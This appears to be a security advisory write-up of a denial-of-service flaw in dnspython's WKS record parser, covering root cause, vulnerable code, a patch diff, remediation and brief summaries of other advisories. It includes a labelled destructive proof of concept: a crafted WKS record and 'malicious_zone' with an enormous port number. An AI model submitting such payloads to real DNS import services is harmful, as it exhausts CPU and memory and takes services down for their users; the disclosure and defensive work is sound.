Nov 14, 2026·10 min read·3 visits
An input validation flaw in dnspython prior to 2.9.2 allows remote attackers to trigger a Denial of Service (CPU and memory exhaustion) by supplying a WKS DNS record in text format with an arbitrarily large service port number.
CVE-2026-128089 is an uncontrolled resource consumption vulnerability in the dnspython toolkit for Python, affecting all versions prior to 2.9.2. When parsing Well-Known Service (WKS) records from text via dns.rdtypes.IN.WKS.WKS.from_text(), the parser fails to validate that numeric service port identifiers fall within the RFC 1035 valid range of 0 through 65535. An attacker capable of supplying untrusted zone files or RDATA text strings containing an arbitrarily large service port integer can force the parser to allocate an unbounded bitmap array using an inefficient linear append loop, resulting in severe CPU exhaustion, application hangs, or Out-Of-Memory (OOM) process termination.
dnspython is a widely deployed DNS toolkit for Python that provides high-level and low-level classes for constructing, parsing, and manipulating DNS messages, resource records, and zone files. Among the supported resource record types is the Well-Known Services (WKS) record defined in RFC 1035 Section 3.4.2. The WKS record is designed to describe the well-known TCP or UDP services supported by a specific protocol on a given IPv4 host address.
In dnspython versions prior to 2.9.2, the WKS text parser located in dns/rdtypes/IN/WKS.py contains an uncontrolled resource consumption vulnerability classified under CWE-400 (Uncontrolled Resource Consumption) and CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerability specifically affects the WKS.from_text() class method, as well as direct object instantiation via WKS.__init__().
The attack surface encompasses any application, microservice, or DNS management platform that ingests and parses untrusted DNS zone files or raw RDATA text representations using dns.zone.from_text() or dns.rdata.from_text(). Note that binary wire-format parsing (from_wire_parser) is naturally constrained by the maximum size of a DNS packet or RDATA length field (16-bit unsigned integer), whereas text parsing processes arbitrary length numeric strings directly from input tokens.
When an application processes a crafted WKS text record containing a large integer in the service port field, the parser attempts to construct a bitmap large enough to hold the corresponding bit offset. This leads to immediate CPU thread starvation due to an O(N) byte-by-byte loop and unbounded memory allocation that can trigger the operating system's Out-Of-Memory (OOM) killer.
To understand the root cause of CVE-2026-128089, it is necessary to examine the internal structure of an RFC 1035 WKS record. A WKS record consists of a 32-bit IPv4 address, an 8-bit IP protocol number (such as 6 for TCP or 17 for UDP), and a variable-length bitmap. In this bitmap, each bit position corresponds directly to a TCP or UDP port number. Because valid TCP/UDP port numbers range from 0 to 65535, a compliant WKS bitmap cannot exceed 8,192 bytes ($65536 \div 8 = 8192$ bytes).
When parsing a WKS record from text format (e.g., 10.0.0.1 tcp 80 443), the WKS.from_text() method iterates over the space-separated service tokens following the protocol identifier. For each token, the parser checks whether the string consists solely of digits using value.isdigit(). If true, the token is converted directly into a Python integer via serv = int(value). If false, the token is treated as a service name and resolved via socket.getservbyname(value, protocol_text).
The primary flaw occurs immediately after serv = int(value). Because Python 3 integers have arbitrary precision, int(value) can produce an arbitrarily large number limited only by the length of the input string. The parser fails to verify that serv falls within the RFC-mandated range of 0 <= serv <= 65535. Instead, it immediately calculates the target byte index in the bitmap using integer division: i = serv // 8.
Compounding the missing bounds check is the mechanism used to expand the bytearray backing the bitmap. When the current length l of the bitmap is less than i + 1, the parser executes a pure Python loop (for _ in range(l, i + 1): bitmap.append(0)) to pad the array with zeros up to byte index i. Supplying a port value such as 8000000000 forces the Python interpreter to execute one billion loop iterations and allocate roughly 1 GB of contiguous memory in a bytearray, locking the Global Interpreter Lock (GIL) or worker thread and exhausting process memory.
The vulnerability resides in dns/rdtypes/IN/WKS.py. In versions prior to 2.9.2, both the __init__ constructor and the from_text parser lacked boundary enforcement on the service port number and resulting bitmap size.
# Vulnerable implementation in dns/rdtypes/IN/WKS.py (< 2.9.2)
def __init__(self, rdclass, rdtype, address, protocol, bitmap):
super().__init__(rdclass, rdtype)
self.address = self._as_ipv4_address(address)
self.protocol = self._as_uint8(protocol)
self.bitmap = self._as_bytes(bitmap)
# FLAW 1: No check ensuring len(self.bitmap) <= 8192
@classmethod
def from_text(
cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None
):
address = tok.get_string()
protocol = tok.get_string()
if protocol.isdigit():
protocol = int(protocol)
else:
protocol = dns.ipv4.inet_aton(protocol) # Simplified for context
bitmap = bytearray()
while True:
token = tok.get()
if token.is_eol_or_eof():
break
value = token.value
if value.isdigit():
serv = int(value)
else:
...
serv = socket.getservbyname(value, protocol_text)
# FLAW 2: Missing validation that 0 <= serv <= 65535
i = serv // 8
l = len(bitmap)
if l < i + 1:
# FLAW 3: Inefficient O(N) append loop over unbounded range
for _ in range(l, i + 1):
bitmap.append(0)
bitmap[i] = bitmap[i] | (0x80 >> (serv % 8))
bitmap = dns.rdata._truncate_bitmap(bitmap)
return cls(rdclass, rdtype, address, protocol, bitmap)Maintainer Bob Halley addressed the issue in commits a62e1be066da0ed71b5b59f37435bb17cfa0070f and 388db14ee9923288f6e73f86e482c77706e59d73 by introducing strict bounds checking at both the parser level and the object constructor level, as well as replacing the iterative append(0) loop with a bulk extend() operation.
diff --git a/dns/rdtypes/IN/WKS.py b/dns/rdtypes/IN/WKS.py
index ff695d9c..e6a0457c 100644
--- a/dns/rdtypes/IN/WKS.py
+++ b/dns/rdtypes/IN/WKS.py
@@ -45,6 +45,10 @@ def __init__(self, rdclass, rdtype, address, protocol, bitmap):
self.address = self._as_ipv4_address(address)
self.protocol = self._as_uint8(protocol)
self.bitmap = self._as_bytes(bitmap)
+ if len(self.bitmap) > 8192:
+ raise ValueError(
+ "service bitmap must be between 0 and 8192 bytes inclusive"
+ )
def to_styled_text(self, style: dns.rdata.RdataStyle) -> str:
bits = []
@@ -78,11 +82,12 @@ def from_text(
else:
protocol_text = "tcp"
serv = socket.getservbyname(value, protocol_text)
+ if serv < 0 or serv > 65535:
+ raise ValueError("service must be between 0 and 65535 inclusive")
i = serv // 8
l = len(bitmap)
if l < i + 1:
- for _ in range(l, i + 1):
- bitmap.append(0)
+ bitmap.extend(bytes(i + 1 - l))
bitmap[i] = bitmap[i] | (0x80 >> (serv % 8))
bitmap = dns.rdata._truncate_bitmap(bitmap)
return cls(rdclass, rdtype, address, protocol, bitmap)The fix is complete and defense-in-depth is properly applied. By checking if serv < 0 or serv > 65535 inside from_text(), invalid port numbers are rejected immediately before i = serv // 8 or any memory allocation occurs (Note: dnspython's tokenizer wrapper catches ValueError during from_text and raises dns.exception.SyntaxError). Furthermore, replacing the for loop with bitmap.extend(bytes(i + 1 - l)) delegates the zero-fill allocation to C-level memory initialization bounded to at most 8,192 bytes. Finally, enforcing len(self.bitmap) <= 8192 in WKS.__init__() prevents invalid WKS objects from being constructed directly via Python API calls or deserialization routines.
Exploiting CVE-2026-128089 requires no authentication or specialized privileges if the target application exposes an interface that parses user-supplied DNS records or zone files in text format. Common deployment scenarios vulnerable to this attack vector include web-based DNS hosting portals (which allow customers to import BIND-style zone files), automated infrastructure provisioning tools (such as ExternalDNS or Terraform/Ansible plugins validating record definitions), and custom DNS recursive/authoritative tooling.
To verify whether an environment is running a vulnerable version of dnspython without crashing the host, a boundary check using port 65536 (one above the maximum valid port) can be executed. In versions prior to 2.9.2, the parser accepts 65536 and allocates an 8,193-byte bitmap, violating RFC 1035. In patched versions (>= 2.9.2), this raises a dns.exception.SyntaxError.
import dns.rdata
# Non-destructive boundary verification PoC
# In dnspython < 2.9.2, this succeeds and outputs 8193 bytes.
# In dnspython >= 2.9.2, this raises dns.exception.SyntaxError.
rd = dns.rdata.from_text("IN", "WKS", "10.0.0.1 udp 65536")
print(f"Allocated bitmap length: {len(rd.bitmap)} bytes")To trigger a Denial of Service condition, an attacker supplies a single WKS record containing a large integer token. Because the attack payload is a compact ASCII representation of an integer (e.g., 10 to 15 bytes over the wire), the amplification factor between payload size and server resource consumption is extreme.
import dns.rdata
import dns.zone
# Destructive Denial-of-Service PoC via RDATA parsing
# Port 8000000000 forces i = 1,000,000,000 (~1 GB allocation via 1 billion loop iterations)
try:
dns.rdata.from_text("IN", "WKS", "10.0.0.1 tcp 8000000000")
except MemoryError:
print("MemoryError reached after prolonged CPU lock")
# Equivalent attack delivered via a BIND zone file upload:
malicious_zone = """
$ORIGIN example.com.
$TTL 3600
@ IN SOA ns1.example.com. admin.example.com. 1 3600 600 86400 3600
@ IN NS ns1.example.com.
host1 IN WKS 10.0.0.1 tcp 16000000000
"""
# Parsing the zone triggers the exact same code path in WKS.from_text()
zone = dns.zone.from_text(malicious_zone, origin="example.com.")> [!NOTE]
> In a multi-threaded Python web server (such as Gunicorn using sync workers or uWSGI), executing for _ in range(l, i + 1): bitmap.append(0) for billions of iterations holds the Python bytecode execution loop continuously, starving other threads or worker processes until the container or host kernel terminates the process via SIGKILL (OOM).
The security impact of CVE-2026-128089 is strictly limited to service availability, reflected in its CVSS v3.1 score of 7.5 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. There is no impact on confidentiality (C:N) or integrity (I:N), as the vulnerability operates entirely within the managed memory space of the Python runtime and does not cause out-of-bounds memory reads or arbitrary memory corruption.
The availability impact (A:H) operates across two distinct dimensions: CPU starvation and memory exhaustion. Even if an attacker chooses a port number that fits within the available physical RAM of the server (for example, serv = 800000000, which requires 100 MB of memory), the parser must still execute 100,000,000 iterations of bitmap.append(0) in pure Python. This causes 100% CPU utilization on the executing core for several seconds per request. By sending concurrent requests containing moderately large port numbers, an attacker can saturate all worker threads of a web service without triggering an Out-Of-Memory exception.
Conversely, if an attacker supplies a number requiring more memory than the process or container cgroup permits (for example, serv = 80000000000, requiring 10 GB of RAM), the bytearray dynamically resizes until system memory is exhausted. In containerized Kubernetes or Docker environments, exceeding the pod memory limit invokes the Linux kernel OOM killer, abruptly terminating the entire worker process and dropping all in-flight requests for other users sharing that process.
The primary remediation is to upgrade dnspython to version 2.9.2 or later, which incorporates the bounds check in WKS.from_text() and WKS.__init__(). The release is backward-compatible for all RFC-compliant DNS records and can be installed directly via pip or updated in dependency manifests.
# Upgrade dnspython to the patched release
pip install --upgrade "dnspython>=2.9.2"For environments where an immediate package upgrade cannot be deployed, application developers should implement pre-parsing input validation before passing untrusted text strings to dns.rdata.from_text() or dns.zone.from_text(). Because WKS (RFC 1035) is a legacy record type that is rarely used in modern DNS deployments, applications can either disallow WKS records entirely at the ingestion layer or validate that all numeric tokens in a WKS record satisfy 0 <= int(token) <= 65535.
import re
# Example pre-parsing filter for raw RDATA strings when rdtype is WKS
def validate_wks_rdata_text(rdata_text: str) -> bool:
tokens = rdata_text.split()
if len(tokens) < 2:
return False
# Tokens after address (index 0) and protocol (index 1) are service ports/names
for token in tokens[2:]:
if token.isdigit():
port = int(token)
if port < 0 or port > 65535:
raise ValueError(f"Rejected out-of-bounds WKS service port: {port}")
return TrueIn addition to input filtering, production services that parse untrusted zone files should isolate parsing workloads within dedicated worker processes configured with strict POSIX resource limits (such as resource.setrlimit(resource.RLIMIT_AS, ...) in Python) and execution timeouts so that a runaway parser cannot exhaust host-wide memory.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
dnspython rthalley | < 2.9.2 | 2.9.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-128089 (GHSA-vvf4-9x63-8xvv) |
| CWE Classification | CWE-400 (Uncontrolled Resource Consumption) / CWE-770 |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Affected Component | dns.rdtypes.IN.WKS.WKS.from_text() in dnspython < 2.9.2 |
| Attack Vector | Network (Untrusted DNS zone file or RDATA text parsing) |
| Primary Impact | Denial of Service via CPU exhaustion and Out-Of-Memory (OOM) crash |
| Exploit Status | Proof-of-Concept (PoC) publicly documented in advisory |
| CISA KEV Status | Not Listed |
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
An information exposure vulnerability in the @opentelemetry/instrumentation-http package for OpenTelemetry JavaScript versions 0.204.0 prior to 0.222.0 causes incoming HTTP server spans to record raw, unredacted query string parameters under the url.query attribute. While outgoing client spans applied built-in and user-configured query parameter redaction, incoming server spans bypassed this sanitization completely, resulting in the transmission of sensitive credentials such as pre-signed cloud URLs and API tokens to external observability backends.
CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.
A Denial of Service (DoS) vulnerability exists in @sveltejs/adapter-node versions 5.5.7 and 6.0.0-next.0 through 6.0.0. When a SvelteKit server route returns a direct response from a fetch() call with a Content-Type of text/event-stream, the Node.js adapter attempts to mutate the response headers to disable proxy buffering. Because headers returned directly by the WHATWG Fetch API carry an immutable guard, this mutation throws an unhandled TypeError, terminating the underlying Node.js process and denying service to all active and subsequent clients.
CVE-2026-128122 (GHSA-5wg4-q3ww-283h) is a build-time CRLF and wildcard injection vulnerability in `@sveltejs/adapter-cloudflare`. During the prerendering phase of a SvelteKit build, the adapter writes crawled redirect paths directly into the Cloudflare `_redirects` and `_routes.json` configuration files without output encoding or character validation. An attacker capable of controlling link paths on prerendered pages can inject newline characters, spaces, or wildcard patterns to forge arbitrary edge redirection rules, enabling asset hijacking and Stored Cross-Site Scripting (XSS).
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) and CWE-625 (Permissive Regular Expression) exists in the @sveltejs/adapter-vercel and @sveltejs/adapter-static packages for SvelteKit. During the build-time prerendering phase, pathnames discovered by the SvelteKit link crawler are inserted into the generated Vercel routing configuration (.vercel/output/config.json) without escaping regular expression metacharacters. Because the Vercel edge routing engine evaluates the 'src' property of route entries as regular expressions, an attacker capable of injecting links into prerendered application content can introduce arbitrary regular expression syntax, hijacking application routing and exposing unintended assets or responses.
CVE-2026-128117 (GHSA-mw6w-2fmv-pvw3) is a denial of service (DoS) vulnerability in SvelteKit (@sveltejs/kit) caused by an uncaught URIError exception during request routing. When an application implements a reroute hook that rewrites a request pathname containing invalid percent-encoding into a valid route, SvelteKit subsequently calls decode_pathname on the original unvalidated url.pathname outside of a try...catch block. In deployments utilizing @sveltejs/adapter-node, this unhandled exception terminates the Node.js runtime process.